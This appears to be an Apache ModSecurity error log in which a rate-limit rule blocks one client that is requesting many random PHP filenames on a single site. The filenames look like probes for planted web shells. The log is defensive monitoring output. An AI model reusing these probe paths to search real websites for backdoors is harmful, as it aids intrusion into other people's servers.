[Wed Apr 01 23:00:41.408503 2026] [:error] [pid 8908:tid 8937] [client 172.213.8.171:21247] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "ac0zGfkmxtJXGnLdvgDDfgAAAJg"]
[Wed Apr 01 23:00:41.873888 2026] [:error] [pid 62559:tid 62568] [client 172.213.8.171:2486] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "ac0zGS7NKI8IaNKZFIfg6gAAAUc"]
[Wed Apr 01 23:00:42.493279 2026] [:error] [pid 8995:tid 9018] [client 172.213.8.171:19871] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "ac0zGuonaBjs3qxcRefrhwAAABQ"]
[Wed Apr 01 23:00:42.993071 2026] [:error] [pid 8910:tid 8989] [client 172.213.8.171:21240] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "ac0zGqJZINUcF3tYgEx98wAAARU"]
[Wed Apr 01 23:00:43.610498 2026] [:error] [pid 8908:tid 8913] [client 172.213.8.171:49050] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "ac0zG_kmxtJXGnLdvgDDhQAAAIA"]
[Wed Apr 01 23:00:44.118144 2026] [:error] [pid 62559:tid 62575] [client 172.213.8.171:2306] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "ac0zHC7NKI8IaNKZFIfg8gAAAU4"]
[Wed Apr 01 23:00:44.691732 2026] [:error] [pid 8908:tid 8924] [client 172.213.8.171:2487] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "ac0zHPkmxtJXGnLdvgDDiQAAAIs"]
[Wed Apr 01 23:00:45.269445 2026] [:error] [pid 8908:tid 8930] [client 172.213.8.171:29260] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "ac0zHfkmxtJXGnLdvgDDjAAAAJE"]
[Wed Apr 01 23:00:57.022642 2026] [:error] [pid 62559:tid 62576] [client 172.213.8.171:21493] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac0zKS7NKI8IaNKZFIfhIwAAAU8"]
[Wed Apr 01 23:01:02.111892 2026] [:error] [pid 8910:tid 8990] [client 172.213.8.171:49069] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac0zLqJZINUcF3tYgEx-BwAAARY"]
[Wed Apr 01 23:01:03.217246 2026] [:error] [pid 8908:tid 8914] [client 172.213.8.171:58308] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac0zL_kmxtJXGnLdvgDDsQAAAIE"]
[Wed Apr 01 23:01:03.847996 2026] [:error] [pid 8910:tid 8974] [client 172.213.8.171:22802] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac0zL6JZINUcF3tYgEx-DQAAAQY"]
[Wed Apr 01 23:01:04.403944 2026] [:error] [pid 8909:tid 8950] [client 172.213.8.171:30209] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac0zMDvP_a0662gDl6AGpgAAAMk"]
[Wed Apr 01 23:01:04.891945 2026] [:error] [pid 8909:tid 8964] [client 172.213.8.171:21219] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "ac0zMDvP_a0662gDl6AGqwAAANc"]
[Wed Apr 01 23:01:05.435014 2026] [:error] [pid 17856:tid 17872] [client 172.213.8.171:21225] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "ac0zMT7Idlm5j9frhqRz-wAAAE4"]
[Wed Apr 01 23:01:05.928766 2026] [:error] [pid 17856:tid 17863] [client 172.213.8.171:30270] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "ac0zMT7Idlm5j9frhqR0AQAAAEU"]
[Wed Apr 01 23:01:06.424121 2026] [:error] [pid 8909:tid 8952] [client 172.213.8.171:49054] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "ac0zMjvP_a0662gDl6AGswAAAMs"]
[Wed Apr 01 23:01:07.128445 2026] [:error] [pid 8909:tid 8943] [client 172.213.8.171:63774] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac0zMzvP_a0662gDl6AGtAAAAMI"]
[Wed Apr 01 23:01:08.185008 2026] [:error] [pid 8908:tid 8913] [client 172.213.8.171:29259] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac0zNPkmxtJXGnLdvgDDugAAAIA"]
[Wed Apr 01 23:01:08.660042 2026] [:error] [pid 8995:tid 9014] [client 172.213.8.171:19888] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac0zNOonaBjs3qxcRefrmAAAABA"]
[Wed Apr 01 23:01:09.276918 2026] [:error] [pid 62559:tid 62576] [client 172.213.8.171:21196] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac0zNS7NKI8IaNKZFIfhWwAAAU8"]
[Wed Apr 01 23:01:09.777015 2026] [:error] [pid 62559:tid 62570] [client 172.213.8.171:29252] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac0zNS7NKI8IaNKZFIfhXAAAAUk"]
[Wed Apr 01 23:01:10.844823 2026] [:error] [pid 62559:tid 62580] [client 172.213.8.171:22808] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac0zNi7NKI8IaNKZFIfhYwAAAVM"]
[Wed Apr 01 23:01:11.471530 2026] [:error] [pid 8909:tid 8956] [client 172.213.8.171:21190] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac0zNzvP_a0662gDl6AGxAAAAM8"]
[Wed Apr 01 23:01:12.506658 2026] [:error] [pid 62559:tid 62579] [client 172.213.8.171:21235] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac0zOC7NKI8IaNKZFIfhZgAAAVI"]
[Wed Apr 01 23:01:13.730780 2026] [:error] [pid 8908:tid 8919] [client 172.213.8.171:30223] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "ac0zOfkmxtJXGnLdvgDDxQAAAIY"]
[Wed Apr 01 23:01:19.066634 2026] [:error] [pid 8995:tid 9013] [client 172.213.8.171:21229] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "ac0zP-onaBjs3qxcRefrogAAAA8"]
[Wed Apr 01 23:01:20.430090 2026] [:error] [pid 8995:tid 9016] [client 172.213.8.171:63865] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "ac0zQOonaBjs3qxcRefrpQAAABI"]
[Wed Apr 01 23:01:21.021332 2026] [:error] [pid 62559:tid 62563] [client 172.213.8.171:3013] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "ac0zQS7NKI8IaNKZFIfhmQAAAUI"]
[Wed Apr 01 23:01:22.036712 2026] [:error] [pid 8909:tid 8954] [client 172.213.8.171:39660] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/repurify.php"] [unique_id "ac0zQjvP_a0662gDl6AG2gAAAM0"]
[Wed Apr 01 23:01:22.878727 2026] [:error] [pid 62559:tid 62565] [client 172.213.8.171:38699] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/repurify.php"] [unique_id "ac0zQi7NKI8IaNKZFIfhnAAAAUQ"]
[Wed Apr 01 23:01:23.649351 2026] [:error] [pid 8908:tid 8915] [client 172.213.8.171:24955] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/repurify.php"] [unique_id "ac0zQ_kmxtJXGnLdvgDD2wAAAII"]
[Wed Apr 01 23:01:24.168514 2026] [:error] [pid 8910:tid 8981] [client 172.213.8.171:3050] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/repurify.php"] [unique_id "ac0zRKJZINUcF3tYgEx-GgAAAQ0"]
[Wed Apr 01 23:01:24.747100 2026] [:error] [pid 8909:tid 8962] [client 172.213.8.171:2577] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tdsaz.php"] [unique_id "ac0zRDvP_a0662gDl6AG5AAAANU"]
[Wed Apr 01 23:01:25.338843 2026] [:error] [pid 8909:tid 8954] [client 172.213.8.171:28652] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tdsaz.php"] [unique_id "ac0zRTvP_a0662gDl6AG6AAAAM0"]
[Wed Apr 01 23:01:25.875051 2026] [:error] [pid 8908:tid 8919] [client 172.213.8.171:2614] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tdsaz.php"] [unique_id "ac0zRfkmxtJXGnLdvgDD4wAAAIY"]
[Wed Apr 01 23:01:26.393688 2026] [:error] [pid 8908:tid 8929] [client 172.213.8.171:59532] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tdsaz.php"] [unique_id "ac0zRvkmxtJXGnLdvgDD6gAAAJA"]
[Wed Apr 01 23:01:26.937320 2026] [:error] [pid 8908:tid 8917] [client 172.213.8.171:23248] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "ac0zRvkmxtJXGnLdvgDD8AAAAIQ"]
[Wed Apr 01 23:01:27.676766 2026] [:error] [pid 62559:tid 62581] [client 172.213.8.171:22771] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "ac0zRy7NKI8IaNKZFIfhowAAAVQ"]
[Wed Apr 01 23:01:28.161566 2026] [:error] [pid 17856:tid 17878] [client 172.213.8.171:44642] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "ac0zSD7Idlm5j9frhqR0JAAAAFQ"]
[Wed Apr 01 23:01:28.880769 2026] [:error] [pid 8909:tid 8944] [client 172.213.8.171:28666] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "ac0zSDvP_a0662gDl6AG7gAAAMM"]
[Wed Apr 01 23:01:29.376672 2026] [:error] [pid 62559:tid 62583] [client 172.213.8.171:24476] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hfles.php"] [unique_id "ac0zSS7NKI8IaNKZFIfhsQAAAVY"]
[Wed Apr 01 23:01:29.849921 2026] [:error] [pid 62559:tid 62585] [client 172.213.8.171:43171] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hfles.php"] [unique_id "ac0zSS7NKI8IaNKZFIfhtgAAAVg"]
[Wed Apr 01 23:01:30.382001 2026] [:error] [pid 8910:tid 8991] [client 172.213.8.171:2607] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hfles.php"] [unique_id "ac0zSqJZINUcF3tYgEx-HwAAARc"]
[Wed Apr 01 23:01:30.898662 2026] [:error] [pid 8909:tid 8953] [client 172.213.8.171:44662] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hfles.php"] [unique_id "ac0zSjvP_a0662gDl6AG8gAAAMw"]
[Wed Apr 01 23:01:31.400482 2026] [:error] [pid 8908:tid 8934] [client 172.213.8.171:47720] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac0zS_kmxtJXGnLdvgDEBAAAAJU"]
[Wed Apr 01 23:01:31.871109 2026] [:error] [pid 62559:tid 62563] [client 172.213.8.171:21122] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac0zSy7NKI8IaNKZFIfhvAAAAUI"]
[Wed Apr 01 23:01:32.339605 2026] [:error] [pid 8910:tid 8983] [client 172.213.8.171:58961] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac0zTKJZINUcF3tYgEx-KQAAAQ8"]
[Wed Apr 01 23:01:32.814716 2026] [:error] [pid 62559:tid 62575] [client 172.213.8.171:38194] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac0zTC7NKI8IaNKZFIfhwgAAAU4"]
[Wed Apr 01 23:01:33.317526 2026] [:error] [pid 8910:tid 8988] [client 172.213.8.171:21182] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "ac0zTaJZINUcF3tYgEx-LAAAARQ"]
[Wed Apr 01 23:01:33.836187 2026] [:error] [pid 8909:tid 8943] [client 172.213.8.171:21157] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "ac0zTTvP_a0662gDl6AG9gAAAMI"]
[Wed Apr 01 23:01:34.315290 2026] [:error] [pid 8910:tid 8973] [client 172.213.8.171:24850] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "ac0zTqJZINUcF3tYgEx-LgAAAQU"]
[Wed Apr 01 23:01:34.800303 2026] [:error] [pid 17856:tid 17859] [client 172.213.8.171:43154] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "ac0zTj7Idlm5j9frhqR0NQAAAEE"]
[Wed Apr 01 23:01:35.387125 2026] [:error] [pid 8910:tid 8984] [client 172.213.8.171:48503] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class-20260318122951.php"] [unique_id "ac0zT6JZINUcF3tYgEx-MgAAARA"]
